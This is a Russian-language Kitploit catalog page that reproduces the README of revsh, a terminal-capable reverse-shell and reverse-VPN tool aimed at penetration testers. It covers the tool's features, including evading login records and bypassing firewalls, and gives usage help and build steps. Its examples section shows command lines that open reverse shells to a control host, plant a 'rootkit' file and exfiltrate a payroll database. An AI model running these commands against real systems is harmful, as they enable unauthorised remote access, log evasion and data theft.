Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
revsh — Обратная оболочка с поддержкой терминала, туннелированием данных и расширенными возможностями пивотинга. | Kitploit
Инструменты/GitHubGitHub/emptymonkey/revsh
Инструменты шифрования/дешифрованияКартирование сетиОбход IDS/IPSЛатеральное перемещениеПост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеRed TeamingИнструмент Удаленного Доступа
GitHubemptymonkey/revsh

revsh

Обратная оболочка с поддержкой терминала, туннелированием данных и расширенными возможностями пивотинга.

469922 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

revsh

revsh — это инструмент для создания обратных оболочек с поддержкой терминала, обратных VPN для продвинутого pivoting, а также туннелирования произвольных данных.

Новости

  • 2018-08-09: Новый релиз. В основном исправления ошибок / улучшение стабильности и улучшенная документация по процессу сборки с OpenSSL 1.1.0. Смотрите раздел Установка ниже для обновлённых инструкций по сборке.

Обзор

Что такое «обратная оболочка»?

Обратная оболочка — это сетевое соединение, предоставляющее доступ к оболочке на удалённом хосте. В отличие от других инструментов удалённого входа, таких как telnet и ssh, обратная оболочка инициируется удалённым хостом. Этот метод исходящего соединения из удалённой сети позволяет обходить файрволы, настроенные на блокировку только входящих соединений.

Что такое «обратный VPN»?

revsh способен подключать виртуальную ethernet-карту (tun/tap) к обоим концам своего криптотуннеля. Эти карты затем можно использовать для пересылки сырых IP-пакетов или ethernet-кадров. В сочетании с правилом NAT в Iptables или мостом с реальной ethernet-картой это позволяет оператору получить полностью маршрутизируемый IP-адрес в сети целевой машины. По сути, это полноценный VPN, совершающий обратный вызов к оператору для обхода фильтрации входящих пакетов и предоставляющий оператору полный сетевой доступ. (Подробнее см. «Documentation/REVERSE_VPN.md».)

Что такое «bind shell»?

Bind shell — это оболочка, предоставляемая через обычное прямое сетевое соединение. revsh поддерживает как обратные, так и bind-оболочки. Для вызова bind-оболочки можно использовать флаг -b на обоих концах соединения или запустить бинарник как 'bindsh'.

Разве нельзя использовать просто netcat?

Существует много техник для создания обратной оболочки, но эти методы не обеспечивают поддержку терминала. revsh позволяет получить обратную оболочку, соединение которой опосредовано псевдотерминалом, что даёт такие возможности, как:

  • управление заданиями
  • обработка управляющих символов (например, Ctrl-C)
  • автодополнение
  • поддержка программ, требующих управляющий tty (например, vi)
  • обработка событий изменения размера окна

Кроме того, revsh также предлагает следующие возможности:

  • Поддержка UTF-8.
  • Обход utmp / wtmp. (Вход в систему не регистрируется.)
  • Обработка команд из rc-файла при входе для удобного скриптования.
  • Шифрование OpenSSL с аутентификацией по ключу, встроенной в бинарник.
  • Анонимное шифрование Диффи-Хеллмана по запросу.
  • Эфемерное шифрование Диффи-Хеллмана по умолчанию. (Теперь с ещё большей Perfect Forward Secrecy!)
  • Привязка сертификата для защиты от sinkhole и mitm для противодействия вторжению.
  • Тайм-аут соединения для самоуничтожения удалённого процесса.
  • Случайные таймеры повторных попыток для непредсказуемого автоматического переподключения.
  • Неинтерактивная передача данных в стиле netcat для передачи файлов.
  • Поддержка прокси: точка-точка, SOCKS 4, SOCKS 4a и SOCKS 5. Прокси доступны в обоих направлениях для полной гибкости.
  • Поддержка TUN / TAP для пересылки сырых IP-пакетов / Ethernet-кадров.
  • Команды escape-последовательностей для завершения неотвечающих узлов или вывода статистики соединения.

revsh предназначен как вспомогательный инструмент для набора пентестера, предоставляющий полный набор терминальных функций через зашифрованный туннель.

Где можно использовать revsh?

revsh разработан на x86_64 Linux. Вот краткий список комбинаций архитектур / ОС, на которых он использовался:

  • x86_64 Linux
  • i686 Linux
  • amd64 FreeBSD

(Если вы успешно использовали revsh на другой платформе, напишите мне, и я добавлю её в список.)

Использование

root@kitploit:~
empty@monkey:~$ revsh -h

Control:	revsh -c [CONTROL_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]
Target:		revsh     [TARGET_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]

	ADDRESS		Адрес управляющего слушателя.		(По умолчанию «0.0.0.0».)
	PORT		Порт управляющего слушателя.		(По умолчанию «2200».)

CONTROL_OPTIONS:
	-c		Запуск в режиме «команда и управление».		(По умолчанию режим цели.)
	-a		Включить анонимный режим Диффи-Хеллмана.		(По умолчанию эфемерный Диффи-Хеллман.)
	-d KEYS_DIR	Указать альтернативную директорию для ключей.	(По умолчанию «~/.revsh/keys/».)
	-f RC_FILE	Указать альтернативный rc-файл.			(По умолчанию «~/.revsh/rc».)
	-s SHELL	Использовать SHELL в качестве удалённой оболочки.		(По умолчанию «/bin/bash».)
	-F LOG_FILE	Записывать общее использование и ошибки в LOG_FILE.	(Не задано по умолчанию.)

TARGET_OPTIONS:
	-t SEC		Установить тайм-аут соединения SEC секунд.	(По умолчанию «3600».)
	-r SEC1,SEC2	Установить время повторной попытки SEC1 секунда, или	(По умолчанию «600,1200».)
			случайное значение в диапазоне от SEC1 до SEC2.

MUTUAL_OPTIONS:
	-k		Запуск в режиме keep-alive.
			Узел не завершится нормально и не выйдет по тайм-ауту.
	-L [LHOST:]LPORT:RHOST:RPORT
			Статическое перенаправление сокетов с локальным слушателем
			на LHOST:LPORT, перенаправляющим на RHOST:RPORT.
	-R [RHOST:]RPORT:LHOST:LPORT
			Статическое перенаправление сокетов с удалённым слушателем
			на RHOST:RPORT, перенаправляющим на LHOST:LPORT.
	-D [LHOST:]LPORT
			Динамическое перенаправление сокетов с локальным слушателем
			на LHOST:LPORT.					(Socks 4, 4a и 5. Только TCP connect.)
	-B [RHOST:]RPORT
			Динамическое перенаправление сокетов с удалённым
			слушателем на LHOST:LPORT.			(Socks 4, 4a и 5. Только TCP connect.)
	-x		Отключить автоматическую настройку прокси.		(По умолчанию: прокси D2280 и устройства tun/tap.)
	-b		Запуск в режиме bind shell.			(По умолчанию режим обратной оболочки.)
			Флаг -b должен быть указан на обоих концах.
	-n		Неинтерактивный брокер данных в стиле netcat.	(По умолчанию интерактивный с удалённым tty.)
			Без tty. Полезно для копирования файлов.
	-v		Подробный вывод. -vv и -vvv увеличивают подробность.
	-V		Вывести версию программы и протокола.
	-h		Показать эту справку.
	-e		Вывести несколько примеров использования.

Установка

Сначала необходимо собрать OpenSSL из исходников. (См. ПРИМЕЧАНИЕ ниже.)

root@kitploit:~
git clone https://github.com/openssl/openssl.git
cd openssl/
./config no-shared -static	# Эти параметры необходимы для сборки статических приложений с OpenSSL.
make && make test	# Пропускаем "make install", чтобы не конфликтовать с системным OpenSSL. Соберём _revsh_ против только что скомпилированного OpenSSL в этом дереве.
cd ..

Теперь соберите revsh.

root@kitploit:~
git clone https://github.com/emptymonkey/revsh.git
cd revsh
vi config.h        # Настройте новые значения по умолчанию под вашу ситуацию.
vi Makefile        # Проверьте, что выбранная среда сборки — та, что вам нужна. (Скорее всего, это уже по умолчанию.)
make               # Это *может* занять очень много времени, но обычно нет.
make install
vi ~/.revsh/rc     # Добавьте любимые команды запуска, чтобы настроить ощущение от удалённой оболочки.
revsh -h

ПРИМЕЧАНИЕ: С выходом OpenSSL 1.1.0 OpenSSL необходимо собирать из исходников для использования в статически слинкованном бинарнике. Сборка статически слинкованного бинарника против библиотек OpenSSL, поставляемых с большинством дистрибутивов Linux (включая Kali), не будет работать. (Если сборка вообще произойдёт, она вызовет SEGFAULT.)

Примеры

Пример IP управляющего хоста: 192.168.0.42
Пример IP целевого хоста: 192.168.0.66

root@kitploit:~
Интерактивный пример на порту по умолчанию '2200':
	управляющий:	revsh -c
	цель:		revsh 192.168.0.42

Интерактивный пример на нестандартном порту '443':
	управляющий:	revsh -c 192.168.0.42:443
	цель:		revsh 192.168.0.42:443

Пример Bind shell:
	цель:		revsh -b
	управляющий:	revsh -c -b 192.168.0.66

Неинтерактивный пример загрузки файла:
	управляющий:	cat ~/bin/rootkit | revsh -c -n
	цель:		revsh 192.168.0.42 > ./totally_not_a_rootkit

Неинтерактивный пример скачивания файла:
	управляющий:	revsh -c -n >payroll_db.tar
	цель:		cat payroll_db.tar | revsh 192.168.0.42

Неинтерактивный пример скачивания файла через существующий туннель:
	управляющий:	revsh -c -n 127.0.0.1:2291 >payroll_db.tar
	цель:		cat payroll_db.tar | revsh 127.0.0.1:2290
Скачать инструмент